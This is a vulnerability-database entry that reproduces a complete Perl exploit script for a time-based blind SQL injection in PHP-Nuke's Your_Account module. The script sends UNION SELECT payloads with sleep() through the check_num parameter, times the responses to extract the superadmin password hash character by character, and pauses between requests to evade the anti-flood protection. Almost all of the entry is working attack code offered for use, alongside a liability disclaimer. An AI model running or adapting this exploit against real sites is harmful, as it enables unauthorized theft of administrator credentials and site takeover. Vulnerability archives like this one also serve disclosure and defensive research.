PHP-Nuke <= 8.1.0.3.5b (Your_Account Module) Remote Blind SQL Injection (Benchmark Mode)
2014-07-01T00:00:00ID SSV:69359
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00
Description
No description provided by source.
# PHP-Nuke <= 8.1.0.3.5b (Your_Account Module) Remote Blind SQL Injection (Benchmark Mode)
# Author: yawn
# Contact Me: http://www.unitx.net
# Requirements: magic_quotes_gpc : off
# Greetings: #0day@irc.iside.us | #Unit-X@irc.unitx.net | Dante90
# You will remember, Watson, how the dreadful business of the
# Abernetty family was first brought to my notice by the depth which the
# parsley had sunk into the butter upon a hot day.
# -- Sherlock Holmes
use strict;
use warnings;
use LWP::UserAgent;
sub Nuke::Bench {
my $hosto = $_;
my $website = LWP::UserAgent->new;
my $average = 0;
print "[+] Calculating average load time (may take a while) ...\n";
for (my $i = 0; $i < 5 ; $i++) {
my $bef = time();
my $out = $website->get($hosto);
my $time = time();
$average += int($time-$bef);
}
return $average/5;
}
sub Nuke::Usage() {
print "[+] Usage: perl nuke.pl <host>\n";
print "[+] the host must be the complete path to modules.php\n";
print "[+] Example: perl nuke.pl http://www.site.com/modules.php\n";
}
sub Nuke::Banner() {
print "[+] Remote Blind SQL Injection (Benchmark Mode) PHP-Nuke 8.1.0.3.5b\n";
print "[+] I'm not responsable for an illegal use of this exploit\n";
print "[+] Date: 06-02-2010\n";
print "[+] Author: yawn\n";
}
Nuke::Banner();
my $host = shift || die Nuke::Usage();
$host .= "?name=Your_Account&op=activate&username=WTF";
my $time = Nuke::Bench($host);
my $attack = LWP::UserAgent->new;
my $pass = "";
$attack->agent('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100407 Ubuntu/9.04 (jaunty) Shiretoko/3.5.9');
my @charset = (48..57, 97..102);
print "[+] Average load time is $time\n";
print "[+] Trying to exploit the SQL Injection\n";
for (my $j = 1; $j <=32; $j++) {
sleep(3); # PHP-Nuke has a special anti-flood system
foreach (@charset) {
sleep(2);
print "[+] Now trying with $_ \n";
my $before = time();
my $resp = $attack->post($host,
{ check_num => "'UNION/**/SELECT IF(SUBSTRING(pwd,$j,1) = CHAR($_),sleep(6),null),1,2,3,4,5,6 FROM nuke_authors WHERE radminsuper='1" },
Referer => $host);
my $after = time();
if(int($after-$before) > ($time + 4)) {
print "[+] Success with ".chr($_)."\n";
$pass .= chr($_);
last;
}
}
}
print "[+] MD5 Hash : $pass\n";
Protected by
